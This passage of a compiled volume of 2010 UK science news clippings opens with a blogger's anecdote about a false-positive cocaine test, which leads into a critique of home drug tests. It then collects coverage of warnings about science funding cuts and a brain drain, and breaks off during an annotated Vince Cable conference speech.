someone robbing a branch of Boots. The shampoo and Marmite was one thing, but Mum had also ordered
a year's supply or more of multivitamins, cod liver oil tablets and various other supplements, meaning that
I was about to take a suitcase containing literally thousands of pills on holiday with me.

By the time I landed, things were already starting to unravel. Since my parents were picking me up from
the airport I didn't actually have their address, which it turns out I needed to fill out the landing card. That
earned me a half-hour interrogation with immigration officials upon arrival, and since Bermuda airport
only serves a handful of flights per day that meant I was pretty much the only passenger still around by the
time I reached customs.

At that point I decided it would be wise to declare the pills, and I was rewarded for my honesty with a
thorough search of my cases. Two agents swabbed their insides with a sort of plastic wand, which one of
them carried to a big machine in the background.

As I chatted to his colleague, the machine suddenly had a giant "computer says no" moment, complete
with flashing lights and sirens which I tried to ignore until I saw the man with the wand marching back
torward us, like an angry military wizard of doom. What he said next will stay with me until the day I die:

"Traces of cocaine," he declared.

"Are you joking?" I asked. He didn't look like he was joking, but come on, you have got to be shitting me.

"Do I look like I'm joking?"

"No," I was forced to concede, while my brain did its usual best to reassure me: You're going to prison
Martin, you're actually going to go to prison for drug smuggling.

And so began more than an hour of buttock-clenching questioning, every second of which is permanently
burned into my brain.

"Did you pack your own suitcase?"

"Actually no," I cringed.

"Who did?"

"My Granddad," I replied. Maybe I'll look so utterly stupid and inept that they'll take pity on me and decide
I don't have the brains to be a drug smuggler and let me go.

Looking back on it, the experience of being interrogated was actually quite fascinating as the officers asked
me a relentless series of variations on the same few questions: "Do you take cocaine; have you used
cocaine in the past; have you been in contact with people using cocaine; it's okay if you've taken cocaine;
we don't care about any cocaine you've taken; we just want to explain the cocaine that's in your suitcase;
have you taken cocaine recently?"

As this was going on, another customs agent was working his way through my belongings, using a
combination of the wand of doom from earlier, and a metal probe that he inserted into various bottles.
Something caught his attention, and he called his colleague over.

"What is this stuff?", he asked the colleague.

433 | P a g e
VOLUME 10
"Some kind of yeast extract," the colleague replied, and both men turned to me.

"What's this?"

"It's Marmite." They looked confused and vaguely disgusted, so I elaborated, wretchedly: "Some people
like it on toast."

A long time passed as the afternoon turned into evening, the airport began winding down for the night,
and my parents waited anxiously for news of their first born. I had been interrogated first by immigration,
then by customs. I had no idea what they'd found in my cases beyond the original detection of cocaine,
and at this point I had every reason to genuinely believe I was going to be leaving the airport in police
custody.

Eventually, having emptied, swabbed, probed and repacked both cases and everything in them, the
customs agent turned to me, fixed me in the eyes, gestured towards a small room out back, and uttered
the words:

"Would you consent to having a personal search conducted in the office over there." It really wasn't a
question.

"Yes", I squeaked, "That's absolutely fine."

He stared at me for what seemed like minutes. Look honest Martin you utter pillock.

"Okay, you can go."

I was free. I wasn't going to prison. I walked out of the airport in a daze, and met my parents.

The cocaine reading of course was a false positive, which is rare but happens from time to time. It was a
great example of the realities of what a false positive can mean. In my case, I was put through the
experience of being suspected of bringing cocaine into a foreign country. I can laugh about it now, but to
be put through that after a long-distance flight was stressful, and for, say, an elderly person I can imagine it
would have been pretty traumatic.

In medicine, false positives can have devastating consequences - imagine wrongly being told you had
cancer, for example. The possibility of error in tests is not something to take lightly, and it's one of many
reasons why we generally rely on properly trained professionals to interpret test results for us.

I bring this up now though because a company called "Universal Sensors" has released a new "disposable
drugs test that allows parents to check if their children have been taking cannabis or cocaine by analysing a
droplet of saliva."

According to the company, the "handheld device, which resembles a pregnancy testing kit, costs just £1.50
and produces an accurate result within five minutes." The Vantix sensor was apparently invented "to help
police carry out speedy roadside drug-driving tests, but it could just as easily be used by parents who are
worried their children are taking drugs."

This is an absolutely horrible idea on so many levels. Unless the technology is pretty damned accurate,
then there will be false positives, and false positives in such a sensitive subject have the potential to do
serious harm. Problem drug use is (or should be at least) first and foremost a medical issue, and any results
should be checked over and interpreted by doctors, not acted upon by angry parents.

Aside from that, the test is a horrendous invasion of privacy. Children should to be able to trust (and
therefore respect) their parents. If someone accuses their child over the result of a test they invaded their

434 | P a g e
VOLUME 10
privacy to obtain, and they turn out to be wrong, then they've undermined that trust for nothing, and that
could do a huge amount of harm.

And let's be honest, if someone's relationship with their son or daughter has deteriorated to the point
where they feel they need to perform drugs tests on them, then clearly there's a pretty serious problem
even apart from any suspected drug use. Seeking help to address their relationship with their kids may be a
lot more constructive in the long run than subjecting them to tests in an effort to somehow seize control
over them today.

I'm not a parent, but ultimately what concerns me is this: tests like this shouldn't be taken lightly, and if
they are to be conducted at all then they should be performed with the support of trained professionals
who can help to interpret the results, and to counsel parents on the consequences. Mass producing two-
dollar tests and handing them out to anyone who wants to test their kid is at best not a responsible thing
to do. At worst, it could destroy lives and drive families apart.

435 | P a g e
VOLUME 10
2010/09/23 CASE: (SEE END OF PDF)

436 | P a g e
VOLUME 10
437 | P a g e
VOLUME 10
2010/09/23 LORD KREB: (SEE END OF PDF)

438 | P a g e
VOLUME 10
439 | P a g e
VOLUME 10
440 | P a g e
VOLUME 10
441 | P a g e
VOLUME 10
442 | P a g e
VOLUME 10
2010/09/23 HOL ST COMMITTEE:
COMMITTEE WRITES TO MINISTER ABOUT
RESEARCH FUNDING CUTS AND THE RISK OF THE
UK LOSING ITS “BEST BRAINS” IN SCIENCE
RESEARCH
Following evidence given to the Science and Technology Committee on 13 July 2010 by the Rt Hon David
Willetts MP, Minister of State for Universities and Science, Department for Business, Innovation and Skills,
the Committee wrote to six leading research universities in the UK to ask them whether they could provide
examples of any difficulties that they had encountered in recent years in recruiting and retaining high-
quality researchers and their expectation of the effects of reductions in funding.

In the light of the responses from the universities, the Committee has written to Mr Willetts setting out its
concern that, in a world of global talent mobility, a worsening differential in funding between the UK and
other countries, whether real or perceived, would put at risk the ability of the UK to continue to recruit and
retain the very best brains.

The relevant letters are set out below:

Letter from the Chairman to six leading universities dated 5 August 2010 ( PDF 41 KB) ;

Response from the University of Cambridge dated 1 September 2010 ( PDF 14 KB) ;

Response from the University of Oxford dated 6 September 2010 ( PDF 27 KB) ;

Response from University College London dated 7 September 2010 ( PDF 17 KB) ;

Response from Imperial College London dated 25 August 2010 ( PDF 21 KB) ;

Response from the University of Manchester dated 6 September 2010 ( PDF 34 KB) ;

Response from the University of Edinburgh dated 31 August 2010 ( PDF 16 KB) ; and

Letter to the Minister of State for Universities and Science, Department for Business, Innovation and Skills
dated 22 September 2010 ( PDF 71 KB)

443 | P a g e
VOLUME 10
2010/09/23 TIMES HE: CABLE: 'SOMETHING
HAS TO BE CUT - TELL ME WHAT THE PRIORITIES
ARE'
By Simon Baker

Vince Cable used a fringe meeting at the Liberal Democrat party conference to defend his stance on cutting
some science funding in the forthcoming public spending review.

The business secretary came under fire earlier this month after proposing to "screen out mediocrity" and
"ration research funding by excellence".

At an event organised by the Royal Society at the party's annual conference in Liverpool, he revealed that
he had even come under attack from his son - a quantum physicist based in Singapore - over his
comments.

However, Mr Cable said that as a government minister in a financial crisis, he had to make decisions to
prioritise funding for certain scientific research given the size of the budget deficit.

He cited as one example the ITER nuclear fusion research programme, which drew on a "significant chunk"
of science funding even though it was unclear when, or if, any benefits would be reaped.

Mr Cable joked that he was old enough to remember "boffins" on television decades ago suggesting that
one day all power would be magically produced through fusion.

Calling on the science community to provide more evidence, he said: "I totally understand why you want to
argue 'we want more money', but it would be helpful if we had some kind of indication of what the
priorities are."

However, the minister also reassured his audience that theoretical science was important and that he did
not believe in funding only research with clear commercial benefits.

"It is an artificial distinction, and we in government don't buy it," he said.


Readers' comments
Boris the Barbarian 23 September, 2010
"Calling on the science community to provide more evidence, he said: "I totally understand why you want to
argue 'we want more money', but it would be helpful if we had some kind of indication of what the priorities
are.""

Good to know that our government is in the hands of people with strategic vision and leadership...

"Well, Mr Cable", said the doctor, we have to chop one off...exactly which limb would you lilke amputated?"

What a performance.
Lee Jones 23 September, 2010
'He cited as one example the ITER nuclear fusion research programme, which drew on a "significant chunk" of
science funding even though it was unclear when, or if, any benefits would be reaped.'

But the potential benefits of this, should the project bear fruit, would revolutionise energy production and thus
the entire world economy. This is like saying to cavemen that the "significant chunk" of time being devoted to

444 | P a g e
VOLUME 10
trying to get wood to emit heat and light should be abandoned because it was "unclear when, or if, any benefits
would be reaped".

Further confirmation that Vince Cable is an idiot.


Kieron Flanagan 23 September, 2010
I was at the same meeting. It was very unclear what Cable meant by priorities - fields/topics,
groups/insitutions, elements/modalities (eg PhDs v post-docs), etc. During the brief Q&A before he had to
leave I asked how he expected the scientific community to set priorities across the whole science base,
something which no amount of scientific expertise qualifies one to do, and whether he recognised the political
nature of these decisions - but he didn't answer those parts of my question. Given that the current dual
support system already does everything he is asking for in terms of prioritising between disciplines, institutions
and modalities, my impression was that Cable was not looking for solutions as much as for absolution. He wants
the difficult decisions to be taken for him, by the scientific community, because that will prove that they are
not so difficult after all.

2010/09/23 ROYAL SOCIETY OF CHEMICAL


SCIENCES: UK FACES SCIENTIFIC EXODUS
The UK faces a 'significant' risk of researchers abandoning its shores and long-term damage to the science
base if proposed funding cuts go ahead, according to new evidence from vice chancellors of six leading
universities.

Lord Krebs, chair of the House of Lords science and technology select committee, contacted senior
academics at University College London, Imperial College London and the Universities of Cambridge,
Oxford, Manchester and Edinburgh in response to a request from science minister David Willetts to
provide evidence that cuts to the science budget would damage the UK's ability to attract and retain top
academic talent.

Reductions in the science budget of up to 25 per cent are expected when the conclusions of the
government's comprehensive spending review are announced next month.

Achieving academic excellence requires research teams drawn from an international pool of talent, Lord
Krebs said in a letter to the science minister, highlighting that non-UK citizens currently make up more than
40 per cent of the doctoral population in the UK.

The university heads provided examples of staff shunning the UK for more attractive research positions
and pay packages abroad, and problems attracting high quality researchers from outside the UK.
445 | P a g e
VOLUME 10
'The government asked for evidence of impact, and now they have it,' Imran Khan, director of the
Campaign for Science and Engineering, told Chemistry World. 'I'd certainly hope they pay close attention to
the heads of six of the country's biggest research institutions.'

To rub salt into the wound, this week US vice president Joe Biden and White House science adviser John
Holdren met with the presidents of six leading US universities to discuss the scientific advances made
possible by the American Recovery and Reinvestment Act 2009, which ploughed $21.5 billion (£13.7
billion) into scientific research, equipment and science-related construction projects.

'The money represented an historic infusion of funding for research. It was also an affirmation of the
essential role scientific inquiry and discovery play in both short-term recovery and long-term economic
growth,' said a statement from ScienceWorksForUs, an initiative of the Association of American
Universities, the Association of Public and Land-grant Universities and the Science Coalition in the US. 'No
other event in recent history has had a similarly positive impact on basic research in the US.'

Lord Krebs' tells Willetts in his letter that the evidence provided from the UK's leading universities is 'a
warning against complacency' and invites the government to say what steps they are taking to identify the
impact of the proposed cuts on the recruitment and retention of high quality researchers in the UK.

'Research, technology and innovation will play a key role in rebalancing the economy and we want science
to emerge from these tough economic times to be strong, sustainable and effective,' a spokesperson from
the UK Department of Business, Innovation and Skills told Chemistry World.

'Public spending on science, just like everything else has to stand up to rigorous economic scrutiny. In these
austere times, the public should expect nothing less.'

Anna Lewcock

2010/09/23 BBC SCIENCE NEWS: DAVID


WILLETTS WARNED OVER SCIENCE CUTS BY
UNIVERSITIES
By Pallab GhoshScience correspondent, BBC News

Mr Willetts has asked for evidence that the UK is becoming less attractive place to do research

Deep cuts in the UK science budget will harm the research base, universities and the economy, the heads
of six leading universities have warned.

Their views are in a letter from the Lords science and technology committee to Science Minister David
Willetts.

They say the best researchers will move to countries that are investing more in research and development.

The government said it was "committed to making the economic case for science and innovation".

According to Lord Krebs, who is chair of the House of Lords select committee, says: "In a world where
talent is highly mobile, a widening of the funding differential, whether real or perceived, between the UK

446 | P a g e
VOLUME 10
and our competitors will put at risk the ability of the UK to continue to recruit and retain the very best
brains."

He added that it would also jeopardise the country's ability "to maintain the highest standards of research,
for which the UK is renowned and from which the UK has been able to reap significant commercial
benefit".

Recruiting challenge?

When he gave evidence to the science and technology committee on 13 July, Mr Willetts invited them to
provide evidence to support their concerns that the UK is becoming a less attractive place for to science
research.

Document

PDF downloadCommittee's letter to David Willetts [77KB]

The committee wrote to the vice-chancellors of six leading research universities for their experiences of
the challenges of recruiting and retaining the best talent in science.

According to Lord Krebs, their responses showed that the committee was right to be concerned that
worsening differentials in funding between the UK and other countries would be damaging to efforts to
attract and retain the best scientists.

Professor Andrew Hamilton, vice chancellor of the University of Oxford, said: "We have very real concerns
that the brightest and best researchers at all stages of their career could accept offers of study or
employment at our international competitor institutions should the national funding environment become
more challenging."

Referring to the current high ranking of UK universities in international league tables, he commented:
"Such reputations were hard won, but could easily be lost through a reduction in funding."

Professor Malcolm Grant, president and provost of University College London (UCL), suggested that these
were "deeply worrying times for the research-intensive universities... The painstaking work of the past two
decades could quite quickly be undone were scholars around the world to become apprehensive about the
future commitment of the UK government to science and their willingness to support its leading centres
within Britain."

Sir Keith O'Nions, rector of Imperial College London, suggested that it was too early to assess the effects of
recent and proposed funding cuts. He noted that the numbers of Imperial College academic staff moving
overseas had increased from 8% to 24% of their turnover in the last five years.

The number of Imperial staff focussing on research who had moved overseas in the last five years had
increased from 15.1% to 22.8%.

'Rigorous scrutiny'

A spokesperson for the Department for Business, Innovation and Skills said: "Mobility of researchers
between countries is an important feature of modern academic research. The UK has historically benefited
from a net inward migration of research staff. The government recognises the importance of ensuring that
the UK continues to be a world-leading place to do science.

Continue reading the main story

“Start Quote

447 | P a g e
VOLUME 10
The idea that we can safely leave scientific research to other countries is wrong. ”

Stan B

"Research, technology and innovation will play a key role in rebalancing the economy and we want science
to emerge from these tough economic times to be strong, sustainable and effective. That's why we are
committed to making the economic case for science and innovation.

"We cannot speculate on the spending review while the process continues. Public spending on science, just
like everything else has to stand up to rigorous economic scrutiny. In these austere times, the public should
expect nothing less."

The letter follows recent remarks by the Business Secretary Vince Cable that the scientific community
could do "more for less" and that "something in the order of 45% of the research grants that were going
through were going to research that was not of excellent standard".

This quickly became reported as the taxpayer funding "mediocre" research, and according to James
Wilsden, director of the UK Royal Society's Science Policy Centre, this "is being spun as a justification for
budget cuts." He says that 90% of funding is for research that is rated as "world class".

Scientific bodies have been arguing for some months that science should be protected from spending cuts -
on the grounds that the UK's research base attracts inward investment - and generates hi-tech jobs and
wealth.

The precise figure for cuts to the government's research budget is likely to be finalised internally very soon.
But many fear in light of Mr Cable's comments that no special case will be made for science - and there
may be cuts of up to 25%.

2010/09/23 CASE: SCIENTISTS RALLY IN THE


FACE OF CUTS
By IMRAN KHAN

Another version of this appeared on the S Word blog

Imran Khan, Director of CaSE, and Katherine Barnes, Science Writer

As the countdown towards the Comprehensive Spending Review continues, scientists are busy planning
protests against what they expect will be deep cuts at Vince Cable’s Department of Business, Innovation
and Skills (BIS).

Warning over brain drain

In an interview this morning on the BBC’s Today Programme, Lord Krebs, Chairman of the Lords’ Science
and Technology Committee stressed that the global market for science talent is “highly mobile”, and even
talk of cuts, whilst other countries are increasing spend on science, is leading to a “haemorrhage of talent”
to overseas. He added that the future of the science base is also about the future of jobs and the economy,
and “the Government might do well to ask itself why other countries are choosing to increase investment
whilst we are talking about cutting it.”

In a reference to the science cuts of the 1980s, Krebs said that it has taken a generation to rebuild since
then, and the gaps in the community can still be seen today. The same view was recently expressed on the
448 | P a g e
VOLUME 10
other side of the Atlantic, with an Op-Ed piece in the Boston Globe airing similar frustrations on the chaotic
nature of stem cell funding in the US. William A. Sahlman at Harvard Business School argues that the
unpredictability of ‘on-again, off-again’ funding inflicts a heavy cost on scientific progress, and damages the
country’s competitive position. He says society pays a high price for randomization of research support, “a
fact that, sadly, is not recognized by the public, the media, or politicians.”

Clock ticking on funding decisions – researchers wait

The CSR, which will lay out departmental funding for the next five years, is due to be published on 20th
October, but it is still far from clear when the critical decisions on science will actually be made. Michael
Crick notes in his BBC Newsnight blog that whereas other departments such as Justice, Work and Pensions,
and Schools are now “virtually settled” or at least “getting there”, Vince Cable still has a long way to go,
with funding reservations not expected to be resolved until the last minute.

This may be partly due to the fact that BIS straddles both business and higher education, and that the
independent review on university funding, chaired by Lord Browne, is not due out until 10th October, just
ten days before the CSR is released. However, Vince Cable may already know what the recommendations
from this review are likely to be.

The importance of sustained university funding has been highlighted by the latestWorld University
Rankings published by the Times Higher Education. In what is dubbed as a “reality check” for universities,
the report reveals that although the UK remains a clear second after the US and ahead of the rest of the
world, Britain’s performance has “deteriorated”, with the UK losing ground to other countries such as
Germany, the Netherlands, Canada and Australia. Most worryingly, Germany is planning to increase its
spending on research, while the UK is now braced for cuts.

Cable’s comments

Vince Cable’s speech at Queen Mary, University of London on 8th September only succeeded in sparking
more concern among the scientific community. His statement about “doing more for less” and a blunder in
a BBC interview using statistics from the Research Assessment Exercise and research council grants led him
to comment that 45% of grants were going to research that was “not of an excellent standard”. In reality,
the overwhelming majority of research money funds work that is world-leading or internationally
recognized.

Cable’s comments have put him at odds with the strategies of other countries, with the leaders of the USA,
Germany, France and India all stressing their commitment to investment in science and engineering.
President Obama recently said that investment in R&D would determine the competitiveness of the United
States when compared to other countries. “We have made the largest investment in research and
development, in basic research and science, in our history, because that’s going to determine whether we
can compete with China and India and Germany over the long term.”

Voice of business weighs in

In their submission to the spending review, the Confederation for British Business (CBI) addresses the
challenges of bringing public sector spending down to a sustainable level in a way that is “least damaging
for growth, and in particular the growth potential of the economy.” The submission makes the case for
more coordination between departments on R&D spending and sustained funding throughout the
university base, arguing that “a university which may not make the top 20 on overall research income may
still have one or two departments or a number of research groups producing research at the highest
levels.” The report emphasises that it is therefore “vital to continue support for these pockets of excellence
to ensure they have the critical mass to remain sustainable”.

449 | P a g e
VOLUME 10
Scientists seize the moment

The unease among scientists at the Government’s proposed “efficiencies”, and the ticking clock before the
CSR deadline has led to a new coalition under the banner“Science is Vital”. The group has plans for an
online petition and a protest in central London on 9th October, culminating in a lobby of parliament on
12th October, with MPs being invited through an online letter-writing campaign.

Dr Jenny Rohn, one of the organizers of Science is Vital, says, “As a scientist, I passionately believe that the
work we do is crucial for economic stability and leads to improvements in our way of life. A wholesale
dismantling of the incredible scientific infrastructure we have here in the UK would do more harm to the
economy.”

The campaign aims to highlight to ministers the political cost of cuts to the science budget, outlining the
proven economic returns of science funding in both the short and long term.

Rohn adds that it is incredibly important that scientists and engineers up and down the country “seize the
moment” and support Science is Vital by signing the petition, coming to central London, and lobbying their
MP. “It could help set the UK’s economic and social landscape for years to come.”

The Campaign for Science and Engineering (CaSE), is supporting the coalition, having organised a cross-
party Early Day Motion in Parliament, and is assisting with planning. It should serve as a wakeup call for
Government that we have a genuine grassroots movement emerging from the science community,
demanding to be listened to.

2010/09/23 GUARDIAN SCIENCE: CUTS


THREATEN PIONEERING STEM CELL WORK, SAY
SCIENTISTS
Shortfall in funding threatens UK's position as world leader

£10m needed over 10 years to keep Britain at the top Ian Sample, science correspondent

A human embryo clone used in


stem cell research at Newcastle. The UK is a world leader in this field. Photograph: Nicola Mcintosh/Life
Science Centre
450 | P a g e
VOLUME 10
Britain risks losing its position as a world leader in stem cell researchbecause there is too little money to
turn breakthroughs into treatments, scientists have warned.

A shortfall in funding for regenerative medicine, which aims to use stem cells to repair damaged organs
and tissues, means cutting-edge therapies developed in UK labs could be commercialised in other
countries first.

Poor support for the work, coupled with impending cuts in the government's spending review next month,
have led to fears of job losses and a brain drain away from Britain, the scientists say.

Sir Richard Sykes, chairman of the UK stem cell foundation, blamed the previous government for failing to
honour its commitment to help researchers turn their discoveries into medical therapies and urged
coalition ministers to revive support for the field.

"Despite the UK leading the world in stem cell research, there is a serious risk of failing to translate that
science into patient therapies due to the funding gap," Sir Richard said. "If that happens we will see British
scientists move away and the commercial benefits we could have exploited will be exploited by other
people."

Sir Richard is one of Britain's most experienced scientists. He recently stepped down as rector of Imperial
College and was formerly chairman of the pharmaceuticals company GlaxoSmithKline. The UK stem cell
foundation was set up in 2005 to speed the progress of promising stem cell therapies through clinical trials.

Many scientists believe stem cells have the potential to revolutionise medicine because they can be grown
into any kind of tissue in the body. Treatments that can regenerate diseased or damaged organs are a
distant prospect, but stem cells are already being used to study incurable diseases such as Alzheimer's and
Parkinson's and to screen new drugs.

Britain established itself as a world leader in stem-cell science in the past decade when the Bush
administration imposed severe restrictions on the use of embryonic stem cells by US researchers. Other
countries, such as Germany and Italy, also blocked the research. In the same period Britain introduced
strict but permissive laws allowing scientists to work with embryonic stem cells, a move that drew leading
researchers to set up labs here.

Sir Richard said an annual fund of £10m for a 10-year period was needed to keep Britain in the top rank of
stem cell research countries.

The prospect of cuts to medical science has led some leading stem cell researchers to consider their future
in Britain. Professor Pete Coffey, director of the London Project to Cure Blindness at University College
London, said yesterday that he would have to reduce job numbers at his department if cuts reach 10%.

451 | P a g e
VOLUME 10
2010/09/23 THE GREAT BEYOND: IMMINENT
SCIENCE CUTS LEADING TO UK 'BRAIN DRAIN'

The British science establishment continues to lobby the government over


forthcoming cuts in UK science funding.

Six heads of leading universities have penned a letter from the Lords science and technology committee,
warning Science Minister David Willetts that cuts will harm the UK’s research base, universities and the
economy, and highlighting the risk of ‘brain-drain’ – the fear that scientists faced with funding cuts will
move abroad to work. The letter was written in response to a request made by Willetts in July for evidence
that cuts would harm UK science.

Lord Krebs, chair of the Lords select committee, spoke about the letter on BBC Radio 4’s Today
Programme: “In a world where talent is highly mobile, a widening of the funding differential, whether real
or perceived, between the UK and our competitors will put at risk the ability of the UK to continue to
recruit and retain the very best brains. The global market for scientific talent is highly mobile and people go
where the resources are.”

Meanwhile, Sir Richard Sykes, former rector of Imperial College London and chairman of the UK stem cell
foundation, says cuts will threaten British stem cell research, but points the finger of blame at the previous
government, rather than the coalition, for failing to provide funding for the development of discoveries
into medical therapies. He says £10m of yearly funding promised by Gordon Brown in 2005 failed to
materialise. “We never received a penny,” he says, urging the current government to close the funding
gap.

In the Financial Times Willetts says he will make sure that some extra funding is made available for stem
cell researchers to develop therapies from their work - £10m to be released by the Technology Strategy
Board. But Chris Mason, professor of regenerative medicine at University College London and chair of the
BioIndustry Association’s Regenerative Medicine Industry Group, thinks the extra funding “is not enough to
propel us forward”.

In his speech earlier this month, Business Secretary Vince Cable suggested that scientists must “do more
for less”, but many scientists are concerned that this is unrealistic. Lewis Dartnell of University College
London, says: “Science funding in the UK is already extremely competitive, and many first-rate research

452 | P a g e
VOLUME 10
projects are already falling unfunded. Cutting back funding won’t sort the wheat from the chaff, but will
mean that even more excellent science is neglected.”

And the ‘brain-drain’ may already be underway: University College London says it can no longer afford to
offer competitive salaries, senior researchers from Oxford and Edinburgh Universities and Imperial College
London have already decided to jump ship to the US, and candidates have withdrawn their applications for
the post of professor at the University of Manchester, all because of the stormy times ahead in UK science.
As Lord Krebs says: “People are picking up the signals and are already moving overseas in response.”

2010/09/23 GUARDIAN SCIENCE: SCIENCE


FUNDING CUTS 'COULD LEAD TO BRAIN DRAIN'
Chairman of Lords science committee says researchers are already choosing to go overseas Alok Jha

Lord Krebs said that even talk of


science funding cuts had led to signs that talent was haemorrhaging. Photograph: FSA

Cuts to the government's science budget will lead to a brain drain of talent from the UK, according to John
Krebs, chair of the House of Lords science and technology committee.

In a letter to the science minister, David Willetts, Lord Krebs showed how several leading researchers had
already lost scientists to overseas universities and warned that a cut in funding, while other countries
increased their scientific spend, would raise "significant risks" to the UK's scientific research base.

All government departments have been asked to prepare for cuts of 25% or more in their budgets as part
of the government's austerity drive. Scientists have spent several months warning that such deep cuts to
the UK's science infrastructure would have devastating long-term effects, forcing the country out of the
"premier league" in many fields of research.

In a recent speech on science and research, business secretary Vince Cable proposed identifying and
building up areas where the UK was a world leader, including stem cells and regenerative medicine, plastic
electronics, satellite communications, fuel cells, advanced manufacturing and composite materials. He also
proposed concentrating research funds on the best departments.
453 | P a g e
VOLUME 10
In his letter to David Willetts, Lord Krebs wrote: "As our competitors have recognised the importance of
science to economic growth and have increased the proportion of funding for research, the competition
for international talent will heighten."

He added: "Their evidence demonstrates that, in a world where talent is highly mobile, a widening of the
funding differential, whether real or perceived, between the UK and our competitors will put at risk the
ability of the UK to continue to recruit and retain the very best brains and to maintain the highest
standards of research, for which the UK is renowned and from which the UK has been able to reap
significant commercial benefit."

The letter follows a hearing at the House of Lords science and technology committee, where Willetts asked
the peers for evidence that researchers might leave the UK if funding was cut. Krebs subsequently wrote to
the heads of six of the country's most prominent research universities – Manchester, Oxford, Cambridge,
Imperial College London, University College London and Edinburgh.

In her response, Nancy Rothwell, vice-chancellor of the University of Manchester, told Krebs that two
people had already withdrawn their applications for positions because the proposed funding of laboratory
space was unsatisfactory. Malcolm Grant, provost of University College London, referred to similar
examples of the UK being unable to compete with international universities and Timothy O'Shea, vice-
chancellor of the University of Edinburgh, said that two senior researchers had returned to the US this
year, "citing difficulties in attracting good international postgraduate research talent as a factor in their
departure".

O'Shea also highlighted problems in attracting the best and brightest PhD students because of a lack of
resources compared with major US and German research institutions. Andrew Hamilton, vice-chancellor of
Oxford University, said that, as the brightest and best seek posts overseas, the UK could face a "lost
generation" of researchers.

"The world's leading universities now operate in a truly global environment, and we expect that our
academic staff will be recruited from around the world," said Hamilton. "Turnover of staff and recruitment
from outside the UK is a sign of the institution's strength."

The letter comes as, yesterday, stem cell scientists warned that the UK would lose its leading position in
regenerative medicine, which aims to use stem cells to repair damaged organs and tissues, because the
government has invested too little money in turning breakthroughs into treatments. Richard Sykes,
chairman of the UK stem cell foundation, blamed the previous government for failing to honour its
commitment to help researchers turn their discoveries into medical therapies and urged coalition ministers
to revive support for the field.

Last month physicists also warned that deep cuts would entail the closure of multimillion pound scientific
facilities in the UK, which employ thousands of scientists and have only been completed in the past few
years. It could also threaten British involvement in Cern, the Geneva-based home of the Large Hadron
Collider.

Imran Khan, director of the Campaign for Science and Engineering, said: "The UK has no choice but to
invest in research and development. We're not resource-rich and we can't compete on cheap labour, so we
have to exploit our high-skills sectors. But Lord Krebs and others – everyone from the CBI to the IFS – have
shown that if we cut now, we risk losing our competitive edge in these fields too."

Krebs acknowledged in his letter to Willetts that there was a lack of internationally-comparable data that
recorded the flow of researchers around the world and that his own evidence came from a limited number
of universities. "However," he added, "the six universities selected account for a very significant proportion

454 | P a g e
VOLUME 10
of research undertaken in the UK and we have no doubt their comments reflect the experience of other
world-class universities in the UK."

2010/09/23 EXQUISITE LIFE: HOW TO READ


VINCE CABLE'S SPEECH TO THE LIB DEM
CONFERENCE IN LIVERPOOL
Vince Cable gave a wideranging speech at the Lib Dem conference yesterday. What follows below is an
annotated version of the speech, with my comments in red.

The main talking points are capitalism - is Vince a red? - and student fees.

***

I have come to account to you, conference, for the work I have been carrying out in the coalition
government.

I have managed to infuriate the bank bosses; acquire a fatwa from the revolutionary guards of the trades
union movement; frighten the Daily Telegraph with a progressive graduate payment; and upset very rich
people who are trying to dodge British taxes. I must be doing something right.

This is pure essence of Cable - don‟t try and pigeonhole me. But that “graduate payment”
clangs like a dropped saucepan from the man who spun us “graduate tax” a few weeks
back.

But I am told that I look miserable. I'm sorry, conference, this is my happy face. 'Aren't you having fun?'
people ask. It isn't much fun but it's necessary: necessary for our country that our parties work together at
a time of financial crisis. And it is an opportunity for the party to demonstrate that we have the political
maturity to make difficult decisions and wield power, with principle.

As for real fun, I am introducing dancing classes into the coalition. Unfortunately, I keep treading on
Theresa May's toes and my partners think I have two left feet.

But what is it like being in bed with the Tories? First, it's exhausting; it's exhausting because you have to
fight to keep the duvet. But to hold our own we need to maintain our party's identity and our authentic
voice. We had to go through a merger to found our party ... we'll never merge again.

We will fight the next general elections as an independent force with our options open. Just like 2010. But
coalition is the future of politics. It is good for government and good for Britain. We must make sure it is
good for the Lib Dems as well.

Labour

What brought this coalition together is the need to clean up the inherited economic mess: the aftermath
of the banking collapse; the largest fiscal deficit in the G20.

This is bound to hurt. Strong disinfectant stings. The public is, broadly, sympathetic to the coalition. But we
are faced with an aggressive Labour opposition which has chosen the easy option of deficit denial. Deficit;
what deficit? Nothing to do with us, guv.

455 | P a g e
VOLUME 10
It has everything to do with them.

There was, of course, a global financial crisis. But our Labour predecessors left Britain exceptionally
vulnerable and damaged: more personal debt than any other major economy; a dangerously inflated
property bubble; and a bloated banking sector behaving as masters, not the servants of the people. Their
economic model combined the financial lunacies of Ireland and Iceland. They built a house on sand and
thought that they were ushering in a new, progressive work of architecture. It has collapsed. They lacked
foresight; now they even lack hindsight.

In an emergency it was right to accept large scale deficit financing. But the deficit must now be corrected.
Public spending was ramped up using tax windfalls which have gone. We are a poorer country than two
years ago and the budget must reflect what we can afford.

We know that if elected Labour planned to raise VAT. They attack this government's cuts but say not a
peep about the £23bn of fiscal tightening Alistair Darling had already introduced. They planned to chop my
department's budget by 20 to 25%, but now they oppose every cut, ranting with synthetic rage, and refuse,
point blank, to set out their alternatives. They demand a plan B but don't have a plan A. The only tough
choice they will face is which Miliband.

A proper debate is impossible with people who start from the infantile proposition that there isn't a
problem; and simply hark back to a failed world of 'business as usual'.

Lib Dems

But our party will emerge with credit from this crisis. We were the first, by far, to warn of the crisis to
come. And last year, Nick Clegg and I warned of future cuts. This inconvenient truth wasn't popular but you
heard it here first.

Then, we established in government the need to combine firmness and fairness. Yes, there has to be a
freeze on public sector pay, to save jobs and services, but the lowest paid should be protected. Yes, there
will be higher taxes overall. But the broadest backs should carry the biggest burden.

But I am also optimistic about the party's future because I know there is stamina and determination born
of years of real life experience in local government. Those of you who took power from Labour in
Newcastle, Hull, Oldham, Bristol, Sheffield and here in Liverpool had to take unpopular decisions to correct
budgets which didn't add up. Nationally we have the same problem on a grander scale and want to learn
from your experience.

But the real debate is not 'cuts versus no cuts' – an absurd parody of the policy choices – but how we
balance cuts with economic recovery and job creation.

Growth is essential. Recovery is not possible without sorting out the public finances; but the public
finances cannot be sorted out without the revenue from economic growth. Moreover the growth has to be
balanced and sustainable, not based on another bubble.

But economic recovery will not happen automatically, by magic. Government has a key role. It has to
sustain demand. That is basic Keynes. Liberal economics also requires us to remove obstacles to growth led
by private enterprise. Among them is the threat to recovery from a credit squeeze by banks on small
businesses.

Banks

456 | P a g e
VOLUME 10
On banks, I make no apology for attacking spivs and gamblers who did more harm to the British economy
